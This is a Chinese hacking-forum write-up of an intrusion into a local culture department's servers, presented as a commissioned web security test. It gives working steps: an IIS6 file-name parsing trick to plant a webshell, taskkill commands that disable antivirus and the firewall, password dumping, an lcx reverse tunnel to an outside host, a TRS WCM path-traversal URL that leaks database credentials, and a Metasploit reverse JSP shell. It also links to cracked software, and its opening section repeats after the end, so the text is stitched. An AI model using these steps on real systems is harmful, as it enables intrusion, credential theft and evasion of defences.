一次WEB渗透测试的经历与分析
**************************************
#author:0xTback
#首发：T00ls.net
*******************************************
很久没在T00ls发原创帖的说，最近码代码也不容易，玩玩渗透放松放松，这次来个首发吧。
测试的理由很简单，每一种攻击手法都值得我们去回味，在此只是將我所经历的过程撰写成文本了，这次的目标是某位朋友公司做web安全测评時扔給我的，
让我挖掘出其中潜在的安全风险，目标是一个地方文化部门。
打开主站发现前台是纯静态页面，通过页面观察给我的第一感觉是：通过后台管理的模板生成所产生的静态页面，这样可以大大的减轻网站的负载量，并且也有
利于网站做SEO，随便尝试猜测网站里面的动态脚本文件时出错，网站并不存在admin.asp，如图1所示。
这个报错信息并不是无法找到该院的HTTP 404错误，而是HTTP禁止访问403提示页面，提示说“您试图从目录中执行 CGI、ISAPI 或其他可执行程序，但该目录不允许执行程序。”
这是典型的IIS6.0禁止执行脚本的配置呀，看到这里应该就可以断定是网站IIS服务器不允许执行动态脚本文件了，遍历了网站能够被访问的目录都是这种情况，哈哈，看样子网站是
一个纯静态的网站了，既然是纯静态的网站，我们就不好从主站下手了，应该考虑从二级域名或旁站漏洞去入手。
主站和其他分站应该属于一个内部网络里面的，通过网关防火墙将WEB访问端口映射到公网的一种NAT模式了，而且对于这样的一个企业应该对外的业务很多，大多都是可以在网上办
理的，所以单单一个静态的主站是做不了太多的事情的，所以应该会有其他动态网站完成这些业务。
从二级域名入手是一个最好的办法，搜寻我们的二级域名网站当然是要靠强大的搜索引擎了，为了节省时间我们直接上工具来对google或者baidu里的信息来检索，theHarvester就
是一个强大的网站信息检索工具，它会自动到搜索引擎网站上去查找关于目标网站的二级域名，以及与目标网站相关的信息，执行命令如下：
root@kali: ~/Desktop/theHarvester-2.2a#./theHarvester.py -d xxx.cn -l 500 -b google
其中-d参数是指定目标网站，-b是指定搜索引擎网站，那个500是查找搜索结果的个数，也就是说在前500个结果中挑选跟目标站最接近的二级域名。
Google的检索信息结果如下：
[+] Hosts found in search engines:
------------------------------------
222.xxx.231.248:www.xxx.cn
222.xxx.231.252:pxhz.xxx.cn
222.xxx.231.252:2011.xxx.cn
222.xxx.231.252:2010.xxx.cn
222.xxx.231.252:Etc.xxx.cn
222.xxx.231.252:volunteer.xxx.cn
222.xxx.231.252:movie.xxx.cn
222.xxx.231.237:gxgc.xxx.cn
222.xxx.231.252:etc.xxx.cn
后来在freebuf上发现某牛修改了这个神器，使它能兼容baidu搜索了，通过修改版工具连接baidu后的分析，得到如下结果：
[+] Hosts found in search engines:
------------------------------------
222.xxx.231.252:2010.xxx.cn
222.xxx.231.252:pxhz.xxx.cn
222.xxx.231.252:volunteer.xxx.cn
222.xxx.231.252:share.xxx.cn
222.xxx.231.252:etc.xxx.cn
222.xxx.231.252:2011.xxx.cn
222.xxx.231.252:pub.xxx.cn
222.xxx.231.237:gxgc.xxx.cn
222.xxx.231.252:movie.xxx.cn
222.xxx.231.248:www.xxx.cn
222.xxx.231.252:oa.xxx.cn
通过上面两次搜索的分析，发现这些二级域名跟主站在同一网段上，并且222.xxx.231.252这个服务器负责主要的业务运行，大部分网站在这上面运行着，
打开这些网站发现全部为asp网站或jsp网站，这些动态网站可以与用户远程连接办理相关的业务，不管其他的了，现在先把二级域名里面能拿下的网站拿下再说吧。
首先尝试的去拿下http://volunteer.xxxx.cn/，在http://volunteer.xxxx.cn/newsshow.asp?newsid=63后面加上“’”的时候，报错了，如图2所示。
但是这个报错并不能说明就存在注入漏洞，因为返回的错误里面的报错文件在/include/webtags.asp，并不是当前的“newsshow.asp”，那么也就是说这个
/include/webtags.asp很可能是一个防注入程序，这里我们暂且不管，当我直接访问http://volunteer.xxx.cn/newsshow.asp时，出现了不返回任何信息状态，如图3所示。
为了得到验证，我还是将网站无耻的扔到SQLMAP里面开启cookie注入模式跑，跑出来的结果当然是无法注入，如图4所示。
在检测这些域名的过程中发现etc.xxx.cn可以被访问但是没有缺省页面，如图5所示。
那么我们将etc.xxx.cn拿到google上去搜一下，看看是否真的是个空网站，在google搜索框里输入：inurl:etc.xxx.cn，结果如图6所示。
搜索结果统计出来有：
etc.xxx.cn/local/
etc.xxx.cn/qikan/
etc.xxx.cn/club/
etc.xxx.cn/sanxia/
打开才发现二级目录不一样，不一样的二级目录所访问的站的内容也不一样，原来在这域名下面还有这么4个网站，不过好像使用了同一套网站程序。
通过前台的检测，这几个域名都无法直接获取数据库信息，自然各种SQL注入都是无法爆出数据的，下面就开始检测后台了，在后台或许可以通过弱
口令登陆后台，如果挖出后台注入漏洞的话，那么还可以使用万能密码直接杀进后台。
通过暴力破解路径，发现的后台地址有
http://etc.xxx.cn/club/admin/login.asp，如图7所示。
http://movie.xxx.cn/login.asp，如图8所示。
http://etc.xxx.cn/local/thisismyad/login.asp，如图9所示。
http://pxhz.xxx.cn/admin/login.asp，如图10所示。
值得祝贺的是http://movie.xxx.cn/login.asp和http://etc.xxx.cn/club/admin/login.asp，已经被我猜测出了弱口令所以直接秒杀进了后台，于是我又多
了两条路可走。如图11，图12所示。
在两个后台里我分别找到了上传页面，在http://movie.xxx.cn的后台主页中的母版页上的添加，再在打开的“添加电影”页面中的“海报图片地址”这一栏会有“选择”，如图13所示。
点击“选择”按钮就会有一个图片选择页面，如图14所示。
接下来我们来看看http://etc.xxx.cn/club后台的上传页面，在后台首页的“风采投稿”——“添加文章”里面，打开“添加文章”即可，如图15所示。
在“添加文章”的页面里可以看到“图片”那一栏，也可以像上面一样通过点击“选择”打开图片选择页面，如图16，图17所示
这样可以发现两个域名的图片操作组件都是一模一样的，在两个域名的图片选择页面的右下角都有一个“上传”按钮，打开这个就显示出了我们一直在寻找的图片上传页面，如图18，图19所示
这就发现了两个上传页面分别为：
http://movie.xxx.cn/Picture/Frame.asp?FileName=UpFileForm.asp&Path=undefined
http://etc.xxx.cn/club/admin/Picture/Frame.asp?FileName=UpFileForm.asp&Path=undefined
接着我还发现了一个安全隐患就是访问这些图片上传页面是不需要后台登陆验证的，也就是说不会验证你的SESSION是否有管理员权限的SESSION也可以上传文件，并且前面的
http://etc.xxx.cn/club/admin/Picture/SelectPic.asp这个链接也是无需身份验证的，也就是说能爆出SelectPic.asp这个页面就能直接访问这个上传地址，如图20所示。
未验证即可访问URL连接，也就是说即使不登陆也能访问这个页面，再从这个页面里打开上传页面，当然要怎么找到这个页面就看大家的经验了（字典强大的一般都能爆出来）。
既然能上传图片了，那么我们就该想方设法的去上传我们的webshell，上传webshell前我们要明白这个上传页面的验证功能是否会将我们的webshell给重命名，如果要被重命名了，
能否截断来修改文件后缀，一般这种上传图片的地方都不会允许上传图片后缀以外的文件，如图21所示。
从图18,19中看到红色框内可以让管理员自定义图片配置，由于探测出WEB服务器是使用的IIS6.0，所以直接利用解析漏洞秒杀之，我用asp图片一句话木马，重命名为gou.asp;s.gif，
当IIS6.0解析的时候就会忽略掉后面的s.gif，而解析前面的gou.asp，也就达到了我们的目的，这里我选择了“不自动命名”，再将自己的asp图片一句话木马文件添加了进来，确定上传后显示
空白页面，也木有返回文件路径，去/Picture/目录、/club/Upfile目录下也没有找到我们上传的webshell，抓包截断分析也没有结果，这时我注意到了/Picture/SelectPic.asp后面的两个参数，
LimitUpFileFlag和CurrPath，如图22所示。
既然这两个参数是可以GET提交变量的，那么我们可以对其进行修改，CurrPath应该就代表当前目录，在/Picture/SelectPic.asp页面中右键查看源代码中看到了相关的js脚本：其中第一个ChangeFolder(FolderName)是改变文件目录的函数，FolderName参数就是我们想切换的相对路径了，也就是说我们可以通过给CurrPath设置网站的相对路径来遍历网站目录。
第二个函数是UpFile()也就是我们重点关注的上传函数，通过点击SelectPic.asp页面中的“上传”，会通过OpenWindow（）跳转到同目录下的Frame.asp文件页面，并调用UpFileForm.asp来实现上传页面的框架布置，程序员将实现上传功能的函数与上传页面框架分成了两个文件来编写了，其中Frame.asp就是实现上传功能函数的文件，UpFileForm.asp就是用来布置上传页面，也就是我们所看到的上传页面内容，其中的Path变量就是UpFileForm.asp中定义的，并且后面还跟上了frames["FolderList"]的CurrPath变量，CurrPath在未赋值前默认的是/club/Upfile，Path变量的值在缺省的情况下就自行表示为undefined，因为这时局部变量CurrPath并未进行赋值。当用户在Frame.asp?FileName=UpFileForm.asp&Path=undefined中上传图片文件时，图片文件不会被保存在任何目录，因为Path变量并未被赋值，后面两个函数定义function SetUserUrl()和function CheckReturnValue()分别是URL图片处理函数和退出函数。
先不管这么多了，既然可以控制Path变量，而且又只需指定其相对网站路径，何不将上传目录切换到其他目录去试试，说干就干，我将Path后面的值改为/club/admin目录，也就是：Frame.asp?FileName=UpFileForm.asp&Path=/club/admin，再选择我们的gou.asp;s.gif图片木马文件，上传成功后，由于前面介绍的ChangeFolder(FolderName)函数的功能可以随意切换网站目录并列取当前目录文件，我们就直接刷新页面：
Picture/SelectPic.asp?LimitUpFileFlag=no&CurrPath=/club/admin/
这就会发现我们的gou.asp;s.gif已经乖乖躺在了那里，如图21所示。
菜刀直接连接http://etc.xxx.cn/club/admin/gou.asp;s.gif，解析成功，如图22所示。
随便翻看了一下目录，感觉权限还挺大的，很多目录都可以打开，最爽的是可以跨站目录访问，除了一两个网站目录无法访问外，其他目录均能访问，前面我们通过google搜索出了etc.xxx.cn的二级
目录网站，这里都可以完全访问，如图23所示。
不仅如此，在D:/website目录里还找到了222.xxx.231.252这个公网地址的所有域名的网站文件，也就是说前面theHarvester.py所探测到的222.xxx.231.252地址下的二级域名网站目录都在
这台服务器里面，有movie.xxx.cv、pub.xxx.cn、volunteer.xxx.cn等，如图24所示。
在该目录D:/website下还发现了oa办公系统网站目录，发现网站是asp格式的，在data目录里找到了data.mdb数据库，看来是Access的数据库，我想用户量应该不大，将它下载之，
在本地用Access打开，如图25所示。
发现果然OA办公系统里的注册员工数量不是很多，不过也有可能这些员工是各个部门的主管啥的，悲剧的是数据库里居然没有员工的电话和邮箱，那么我们就登陆进OA办公系统试试，字段名ygid=1
的就应该是OA系统管理员吧(最顶上那个)，账号bijie520，密码MD5加密目测是admin，所以登陆之，成功进入OA办公系统后台，如图26所示。
在OA系统里翻了许久也没有找到啥有用的信息，最主要的是连员工的信息都不全，如图27所示。
在右侧的“用户设置”选项里可以对企业里的人员进行管理，部门管理，甚至是单位管理，还可以对这些信息进行修改，在单位管理那还需要超级管理员的权限，如图28所示。
点击进入登陆超级管理员后就会让你输入超级管理员的密码，而且这个OA系统的数据库data.mdb里也没找到，结果才发现这个密码是以明文的形式放在了/inc/config.asp
这个配置文件里面了，如图29所示。
在OA后台闲逛了一翻基本上掌握了企业内部的部门职能与各个部门的管理人员还有他们的账户信息，在渗透测试过程中的每一步的信息收集都是很有用的，无论搜集到的信息
能否给我们带来好处，暂且先到这儿，再回到我们的提权中去。
现在就是除了222.xxx.231.237的gxgc.xxx.cn和主站其余的二级域名已经被我们全部拿下, gxgc.xxx.cn和主站很明显是通过另外两个公网地址映射出来的，在菜刀里面查看
了当前服务器的IP地址是处于内网的，至于当前权限就不用看了，IIS6.0的网站不会拿system权限给你搞的，由于C:\WINDOWS\system32\cmd.exe是拒绝访问的，所以就传了个
cmd.exe到C:\RECYCLER\下运行ipconfig之，如图30所示。
再看一下补丁的修补情况，如图31所示。
在系统信息中发现服务器型号是IBM 3850 M2 / x3950 M2，这台服务器不属于域中，还有就是安装了610个补丁程序，看样子本地溢出提权基本上无望了，接着来看看能不能通过服务
器第三方服务来提权，在cmd里输入netstat –an来查看当前服务器的开放端口，如图32所示。
在上面所开放的端口中，看到了有开放1433（MSSQL）、3306（MYSQL）端口，可能大家就想去寻找sa或root的数据库配置文件，我们看到了还开放了8080端口，也就是说这
台服务器上很可能还运行着其他网站，如果是PHP网站的话就可以找Mysql用户信息，如果是ASP.NET的话就读取web.config信息，如果是jsp的话就这接上传jsp shell从而来拿下服务器
通过netstat –ano命令显示的当前进程记录下8080端口对应的PID值为1468，再通过netstat /svc命令来查看对应的进程名称,如图33所示
这个HyServices.exe还是第一次见到，在网上也搜不到相关的资料，再利用net start命令查看开启的服务，对应的服务名为HyResource document services，如图34所示。
由于我们看到的是内网这台服务器里开放的8080端口，仅仅是对内网开放的，要对外访问，就要通过网关或防火墙映射到公网上去，所以必须摸清映射到的公网上的端口号，前面的
搜索结果告诉我们了公网IP为222.xxx.231.252,探测端口自然使用nmap类的扫描软件扫描之，得出了映射的端口号也同样为8080，如图35所示。
我直接访问http://etc.xxx.cn:8080，出现了一个登陆界面，但是没有显示出登陆页面的缺省页名称，右键查看源码里找到form表单里的action的指向页面，如图36所示。
看到action=”hyindex.jsp”于是确定是jsp类型的网站了，至于HyResource document services到底是啥东西，连主页都带有hy字符，这些都不去管了，jsp对应的web服务器在
windows里没被降权的话，通常是以system权限运行的，只要我们能成功上传jsp马，就能拿到system权限了。
在菜刀里面翻来翻去也没有找到jsp网站的根目录，只好上大马来搜了，探测出该服务器支持.net Framework 2.0.50727.3655，所以上asp.net大马，这里我上的是aspxspy，在
FileSearch里将“Search FileType”这一项改为jsp,“Path”这里就改为D:\，就是说搜索服务器内D:\下的所有jsp文件，如图37所示。
过几分钟就会看到搜索结果，发现了D:\某目录下的所有jsp文件，如图38所示。
大概浏览了一下，发现服务器里有这么几个目录里存在jsp文件：
D:\chaoxing\110124dservices\Dservices\
D:\chaoxing\hyservices02\HyServices
D:\chaoxing\Reservices\ReServices
D:\website\back\xxx\xxx\ \\xxx为马赛克
D:\website\LocalUser\yiyan\
下面就是寻找网站缺省页hyindex.jsp页面的所在目录，直接在当前页面搜索hyindex.jsp关键字即可，如图40所示。
记录下绝对路径后打开菜刀切换到这个路径下：D:\chaoxing\hyservices02\HyServices\webapps\ROOT\，直接上我的jsp大马，但是悲催的是一上传就被杀，为啥前面的aspxspy你不杀？
我随便在cmd里面输入tasklist查看系统正在使用的安全软件进程，如图41所示。
原来服务器的安全软件是360主防+麦咖啡企业版，麦咖啡的杀毒引擎确实很好，手里的jsp大马都被杀完了，这里简单的对上面标注的进程做个说明：
McAfee进程：
frameworkservice.exe：升级服务
Mcshield.exe：核心进程
naPrdMgr：它是与frameworkservice.exe关联在一起的进程，如果关闭了frameworkservice.exe 它也会消失.
shstat.exe: 系统栏内的软件图标,关闭了它系统也处于保护状态
Vstskmgr.exe:这个进程属于系统服务.对应名为 network Associates Task Manager
360进程：
ZhuDongFangYu.exe：360主动防御
其中有一个大马虽然是上传成功了，但是大部分代码已经被kill掉，杀了个半残，当然是访问不到的了，看一下剩下的没有被杀的代码发现定义cmd命令执行的函数还未被杀掉，如图42所示。
既然CMD函数部分未被杀，我立刻上传了cmd版的jsp webshell，成功上传，不知道的可以复制如下代码保存为*.jsp文件：将代码里面的“密码”替换成你自己的密码，马的访问格式是:
http://www.xxx.com/xiao.jsp?pwd=密码&cmd=CMD命令
我这里成功通过上传并完好，在浏览器里访问之，查看当前权限如图43所示。
这一步说明我们成功获取了系统的system权限，获取系统权限后的第一件事情结束掉系统里的防护软件与防火墙，前提要管理员不在线的前提下，不然很容易被发现，执行query+user命令查看
当前在线用户，如图44所示。
发现administrator是断开状态，这下可以结束进程了，先是停止系统防火墙服务：net+stop+sharedaccess，注意了这个马在执行命令时不认空格，最好能在中间加上+号，如图45所示。
接着就是结束360主防+麦咖啡的相关进程：
taskkill+/f+/t+/im+ZhuDongFangYu.exe
taskkill+/f+/t+/im+FrameworkService.exe
taskkill+/f+/t+/im+Mcshield.exe
taskkill+/f+/t+/im+vstskmgr.exe
taskkill+/f+/t+/shstat
然后就是传大马上getpass到C:\RECYCLER\下抓密码，这里还需要上传大马是因为我之前用的cmd版的jsp webshell一直无法正常运行getpass程序，这里我直接抓Administrator的明文
密码好了，如图46所示。
在测试ping通外网测试的时候发现居然ping不通外网，再这样下去我还以为是DMZ区服务器呢，结果发现服务器在连接外网的两台服务器的80端口，估计是防火墙的策略防止了入站请求，
并未封出站的其他请求，如图47所示。
这时大家都懂的，上传lcx到某台公网服务器上再在cmd下运行：
>lcx -listen 1991 7001
再直接上传lcx.exe到目标服务器的C:\RECYCLER\下后，在webshell的终端执行:
> lcx -slave 外网ip 1991 172.20.3.20 3389。
成功回显后在公网服务器上打开远程桌面连接127.0.0.1:7001，
登陆系统后，如图48所示。
在服务器中打开IIS6.0查看网站，发现了更多的二级域名网站，看来这服务器接管了企业里的80%的二级域名访问业务，如图49所示。
在管理员的桌面上发现Mysql的密码记事本，打开本服务器的Mysql终端登陆，发现Mysql里只是几个默认的数据库而已，打开服务器里的SQL SERVER 2000发现了服务器里的部门主要业
务数据，利用价值大大滴呀，如图50所示。
这些似乎对我们找主站服务器都没啥帮助，不过我在翻看IE浏览器里的历史记录信息时偶然发现了主站服务器的被访问记录（当前登陆的administrator用户），如图51所示。
也就是说管理员在本服务器上通过内网访问过主站，在172.20.3.12这个历史访问文件夹里还找到了主站服务器的另一个页面，如上图里面的“TRS WCM V6.0 首页”，
原来主站服务器80端口自然是IIS6.0下的WEB服务了，端口7001提供TRS WCM V6.0的WEB访问服务，也是一个jsp网站，知道这一点后，我在我的系统上打开主站www.xxx.cn:7001，
于是立即跳转到了TRS WCM V6.0的登陆界面，后来发现在未登录的情况下TRS WCM V6.0禁止访问根目录下的任何jsp文件，如图52所示。
据了解TRS WCM涵盖网站建立、内容服务、内容传递等内容价值链的各个方面，将结构化和非结构化信息提供给所有用户。
既然在外网能访问TRS WCM，那就方便许多了，由于是第一次遇到此系统，所以去wooyun上搜了一下相关漏洞利用方式，发现其实wooyun上公布的对这个系统的漏洞利用方式还是很多的，
都是些高危漏洞，其中有三个高危漏洞可以很好的利用一下，TRS WCM多为gov站点使用，不过这里遇到了就学习一下，相关连接如下：
（1）TRS WCM后台SQL注入一枚
http://www.wooyun.org/bugs/wooyun-2010-058052
（2）TRS的WCM6漏洞权限绕过以及绕过密码的登陆方式
http://www.wooyun.org/bugs/wooyun-2010-017198
（3）TRS WCM 6.X系统任意文件写入漏洞
http://www.wooyun.org/bugs/wooyun-2010-034315
（4）TRS内容管理平台用户注册逻辑漏洞
http://www.wooyun.org/bugs/wooyun-2012-08966
针对现在的环境（1）种情况是无法利用的，（1）要有管理员登陆权限，在登陆入口处http://www.xxx.cn:7001/wcm/WCMV6/login.jsp尝试了TRS默认密码、弱口令还有前面搜集到的
信息都登陆失败，这里可能会想到用（2）种方式来绕过密码的登陆方式，但是问题是网站里并没有wcm/infoview.do的映射，也就无法找到管理员的登陆信息，我想可能是版本不一样吧，即
使找到了也是MD5加密只取半截的情况。
接着我突然想到的一个思路是，我手上已经有内网里的主要业务服务器（172.20.3.20）了，不妨利用（4）种方式直接下载数据库配置文件来获取数据库的连接信息，说不定还可以将读取到
的密码运用到其他内网数据库服务器上，如果是sa用户那就这接拿下服务器了，这个思路的前提是在172.20.3.20服务器上可以连接主站172.20.3.12的MSSQL数据库，才可以直接拿下主站
服务器这里已经验证可以在当前拿下的内网机器里连接到172.20.3.12的1433端口，扫描过程就不细说了。
网址加上：wcm/console/auth/reg_newuser.jsp，也就是访问http://www.xxx.cn:7001/wcm/console/auth/reg_newuser.jsp
注册的时候，注意使用firebug修改“真实姓名”的表单，如图53所示。
直接将“name”元素由“TRUENAME”修改为“STATUS”，即将“真实姓名”表单改成 STATUS 值为 30，或增加STATUS字段表单，修改完后去提交才发现无法点击“确定”提交表单信息，“确定”按钮
不是灰色按钮，但是就是点击后无反应的情况，难不成“确定”按钮被disable了？既然这样还可以修改HTML为enable来恢复正常，可是HTML没有相关的代码，如图54所示。
在wooyun上也看到刺刺大牛遇到这种情况，他的情况也是Firefox访问wcm/console/auth/reg_newuser.jsp这个页面，点击不了提交的“确定”， 也有可能是有的WCM版本注册这里的程序被修
改过，提交会报500错误；也有可能是CNVD的验证测试不够深入，大牛还说可以直接这对wcm/console/auth/reg_newuser_dowith.jsp POST提交也是成功了的，这种方式当然是可以的了，
有兴趣的可以去试试。
测试了其他浏览器发现只有IE系列的浏览器是可以正常提交表单的，但是IE10及以上的版本提交会报脚本错误，这里不知道怎么回事，我用的是IE10.0的，不过在IE10以下的还是可以的，IE10.0提交
会报错，微软在IE6.0以上的版本都嵌入了开发者工具集（按F12弹出），功能类似于Firebug。
这里我还是使用IE10.0来提交，不过这里需要将开发者工具中的“浏览器模式”改为IE10以下的版本，我选择的是“IE7”模式，如图55所示。
与Firebug里面的操作一样，将“name”元素由“TRUENAME”修改为“STATUS”后点击“确定”，如图56所示。
“请等待开通！”，但实际上已经开通了，因为 STATUS 字段让我们改成正常了，直接登录如图57所示。
进入了后台并没啥操作权限，自然就无法利用TRS的后台SQL注入，在默认的相对路径的情况下可以直接访问wcm/file/read_file.jsp下载数据库配置文件config.xml，访问方式：
http://www.xxx.com:7001/wcm/file/read_file.jsp?FileName=U020120628383491551127/../../../../../Tomcat/webapps/wcm/WEB-INF/classes/trsconfig/domain/config.xml&sDownName=xx
如图58所示。
下载下来后打开代码如图59所示：
在代码中发现了sqlserver的连接信息：sqlserver://172.20.3.2:1433/TRSWCMV6
连接的账号与密码：
connectionUser="sa" connectionPassword="Encryptedd2NtQDIwMDg."
发现账号是sa用户，密码是经过变态加密的字符串，至于什么样的加密手上没有源码所以很难破解，既然破解不了数据库密码那么就想办法先拿下主站服务器然后开嗅探也行。
接着就尝试webservice来上传jsp拿shell，针对这种情况我还专门用了几天时间去恶补jsp web service以及SoapUI的用法，在wooyun里并没有详细说明其利用方法，对
TRS利用方法有疑问的朋友也可以看看我的思路。
首先打开http://www.xxx.cn:7001/wcm/services，web service信息如图60所示：
发现存在trs:templateservicefacade服务，这应该属于第三方插件吧，哈哈，trs:templateservicefacade服务的writeFile和writeSpecFile两个操作都可以向服务器写入文件，
这样我就直接进入trs:templateservicefacade后面的wsdl，打开了wsdl后就可以看到该服务的wsdl代码, 每个 Web Service服务都有一个描述文件（WSDL），它描述一个
Web Service 的如下方面：
（1）服务的端口（接收 SOAP 消息的端口）
（2）服务提供的操作
（3）操作的输入输出格式的定义（通过 XMLSchema 定义输入输出格式）
以上简单科普一下，毕竟我接触这东西不久，Web Service大牛就飘过吧，这里我们的目标很简单，就是要利用trs:templateservicefacade服务的文件上传操作，就要修改XML代码来
定义输入输出，我很快的将wsdl代码导出保存为trstemplateservicefacade.xml到本地，用到的工具是SoapUI Pro 4.6.4，这个工具就是调用、修改XML、实现Web Service的
功能/负载/符合性测试，WEB性能测试的利器呀，在官网上普通版的是开源的，专业版的是收费的，不过5.0.0以下的专业版都已经被成功破解了，想要的可以PM我。
打开软件后，创建新SOAP项目，在“Project Name”里填写项目名称，这里我随便写个，然后在“Initial WSDL”里加载我刚才在浏览器里导出的trstemplateservicefacade.xml，
点击“OK”提交，如图61，图62所示。
提交后会看到SoapUI自动读取WSDL文件并列出了相关服务功能，如图63所示。
writeFile：提交上传文件请求需要相对路径
writeSpecFile：提交上传文件请求需要绝对路径
这里我还不清楚绝对路径，就只好用writeFile了，展开writeFile进入Request1，如图64所示。
在“_pFileContent”与“_sFilePath”里的 带*号的选项是必填的，也就是说至少必须指定文件内容和文件上传路径，这里注意的是上传的文件内容就是经过base64加密后的内容，
上传路径指定其服务器相对路径。
这里我直接对XML代码进行编辑指定文件内容和路径，内容随便先提交几个字符上去，路径为默认，如图65所示。
编辑完后点击界面上的绿色箭头提交上去，会在右侧返回服务器里上传文件的绝对路径信息，如图66，图67所示。
在后来的传jsp马的过程中还遇到了不少的挫折，传上去马访问后都报500错误，不知道服务器上Tomcat的配置哪里有问题啥的，如图68所示：
马访问到了都不能正常解析，最后用到了kail linux里的Metasploit JSP Shell，直接利用java/jsp_shell_reverse_tcp模块生产jsp shell，再在MSF中调用exploit/multi/handler
来监听本地某端口，上传生成的jsp shell，再访问，就反弹到一个公网地址上（Kail linux连上公网IP的VPN），具体的就不说了，网上一大堆，反弹成功后如图69所示。
权限是administrator，已经可以直接抓Hash了，发现了Symantec+360主防，最后附上相关截图：
好吧，渗透就到这里吧，由于各种原因没有再进行深入的内网渗透，过程说得比较细，所以还是花了不少时间，亮点不多，用到的技术不是很复杂，主要是过程的分析，最后对SoapUI操作webservice上传插件做了简单的操作分析，wooyun上鶆鶈大牛公布此漏洞时并未说明其利用方法，小菜不才，大牛们就当是篇科普文吧。
-----------------------------思路说明-----------------------------
（1）可能会有小伙伴问为什么不直接使用第（3）种方式来写入jsp shell拿下主站服务器？原因是当时是第一次遇到搞webservice，一直在研究SoapUI调试XML，所以没有去急着尝试，而我想到如果能直接拿下sa账号，不仅能拿下主站服务器，其他数据库服务器也许就能不攻而破了（没想到config.xml的sa密码经过TRS的特殊处理），毕竟多使用一种方法就多条思路撒。
（2）关于SoapUI通过writeFile写入文件到目录中返回的绝对路径格式为：
D:\TRS\TRSWCMV6\WCMData\systemp\ST201407\ST20140730\ST20140730516126408684./../../../../../Tomcat/webapps/wcm/WCMV6/demo/x.jsp
服务器中实际绝对路径：
D:\TRS\TRSWCMV6\Tomcat\webapps\wcm\WCMV6\demo\x.jsp
如图所示：
此文图多难免漏点，发现漏点处PM一下我。
---------------------------------------------------------附件下载---------------------------------------------------------
SoapUI-Pro-x32-4.6.4 链接：http://pan.baidu.com/s/1kTwrMzt 密码：qnai
SoapUI-Pro 4.6.4破解 链接：http://pan.baidu.com/s/11ZLzo 密码：ss2a
End
----------------------------------参考-----------------------------------------------------------------------
http://www.wooyun.org/bugs/wooyun-2010-058052
http://www.wooyun.org/bugs/wooyun-2010-017198
http://www.wooyun.org/bugs/wooyun-2010-034315
http://www.wooyun.org/bugs/wooyun-2012-08966
#author:0xTback
#首发：T00ls.net
*******************************************
很久没在T00ls发原创帖的说，最近码代码也不容易，玩玩渗透放松放松，这次来个首发吧。
测试的理由很简单，每一种攻击手法都值得我们去回味，在此只是將我所经历的过程撰写成文本了，这次的目标是某位朋友公司做web安全测评時扔給我的，
让我挖掘出其中潜在的安全风险，目标是一个地方文化部门。
打开主站发现前台是纯静态页面，通过页面观察给我的第一感觉是：通过后台管理的模板生成所产生的静态页面，这样可以大大的减轻网站的负载量，并且也有
利于网站做SEO，随便尝试猜测网站里面的动态脚本文件时出错，网站并不存在admin.asp，如图1所示。
这个报错信息并不是无法找到该院的HTTP 404错误，而是HTTP禁止访问403提示页面，提示说“您试图从目录中执行 CGI、ISAPI 或其他可执行程序，但该目录不允许执行程序。”
这是典型的IIS6.0禁止执行脚本的配置呀，看到这里应该就可以断定是网站IIS服务器不允许执行动态脚本文件了，遍历了网站能够被访问的目录都是这种情况，哈哈，看样子网站是
一个纯静态的网站了，既然是纯静态的网站，我们就不好从主站下手了，应该考虑从二级域名或旁站漏洞去入手。
主站和其他分站应该属于一个内部网络里面的，通过网关防火墙将WEB访问端口映射到公网的一种NAT模式了，而且对于这样的一个企业应该对外的业务很多，大多都是可以在网上办
理的，所以单单一个静态的主站是做不了太多的事情的，所以应该会有其他动态网站完成这些业务。
从二级域名入手是一个最好的办法，搜寻我们的二级域名网站当然是要靠强大的搜索引擎了，为了节省时间我们直接上工具来对google或者baidu里的信息来检索，theHarvester就
是一个强大的网站信息检索工具，它会自动到搜索引擎网站上去查找关于目标网站的二级域名，以及与目标网站相关的信息，执行命令如下：
root@kali: ~/Desktop/theHarvester-2.2a#./theHarvester.py -d xxx.cn -l 500 -b google
其中-d参数是指定目标网站，-b是指定搜索引擎网站，那个500是查找搜索结果的个数，也就是说在前500个结果中挑选跟目标站最接近的二级域名。
Google的检索信息结果如下：
[+] Hosts found in search engines:
------------------------------------
222.xxx.231.248:www.xxx.cn
222.xxx.231.252:pxhz.xxx.cn
222.xxx.231.252:2011.xxx.cn
222.xxx.231.252:2010.xxx.cn
222.xxx.231.252:Etc.xxx.cn
222.xxx.231.252:volunteer.xxx.cn
222.xxx.231.252:movie.xxx.cn
222.xxx.231.237:gxgc.xxx.cn
222.xxx.231.252:etc.xxx.cn
后来在freebuf上发现某牛修改了这个神器，使它能兼容baidu搜索了，通过修改版工具连接baidu后的分析，得到如下结果：
[+] Hosts found in search engines:
------------------------------------
222.xxx.231.252:2010.xxx.cn
222.xxx.231.252:pxhz.xxx.cn
222.xxx.231.252:volunteer.xxx.cn
222.xxx.231.252:share.xxx.cn
222.xxx.231.252:etc.xxx.cn
222.xxx.231.252:2011.xxx.cn
222.xxx.231.252:pub.xxx.cn
222.xxx.231.237:gxgc.xxx.cn
222.xxx.231.252:movie.xxx.cn
222.xxx.231.248:www.xxx.cn
222.xxx.231.252:oa.xxx.cn
通过上面两次搜索的分析，发现这些二级域名跟主站在同一网段上，并且222.xxx.231.252这个服务器负责主要的业务运行，大部分网站在这上面运行着，
打开这些网站发现全部为asp网站或jsp网站，这些动态网站可以与用户远程连接办理相关的业务，不管其他的了，现在先把二级域名里面能拿下的网站拿下再说吧。
首先尝试的去拿下http://volunteer.xxxx.cn/，在http://volunteer.xxxx.cn/newsshow.asp?newsid=63后面加上“’”的时候，报错了，如图2所示。
但是这个报错并不能说明就存在注入漏洞，因为返回的错误里面的报错文件在/include/webtags.asp，并不是当前的“newsshow.asp”，那么也就是说这个
/include/webtags.asp很可能是一个防注入程序，这里我们暂且不管，当我直接访问http://volunteer.xxx.cn/newsshow.asp时，出现了不返回任何信息状态，如图3所示。
为了得到验证，我还是将网站无耻的扔到SQLMAP里面开启cookie注入模式跑，跑出来的结果当然是无法注入，如图4所示。
在检测这些域名的过程中发现etc.xxx.cn可以被访问但是没有缺省页面，如图5所示。
那么我们将etc.xxx.cn拿到google上去搜一下，看看是否真的是个空网站，在google搜索框里输入：inurl:etc.xxx.cn，结果如图6所示。
搜索结果统计出来有：
etc.xxx.cn/local/
etc.xxx.cn/qikan/
etc.xxx.cn/club/
etc.xxx.cn/sanxia/
打开才发现二级目录不一样，不一样的二级目录所访问的站的内容也不一样，原来在这域名下面还有这么4个网站，不过好像使用了同一套网站程序。
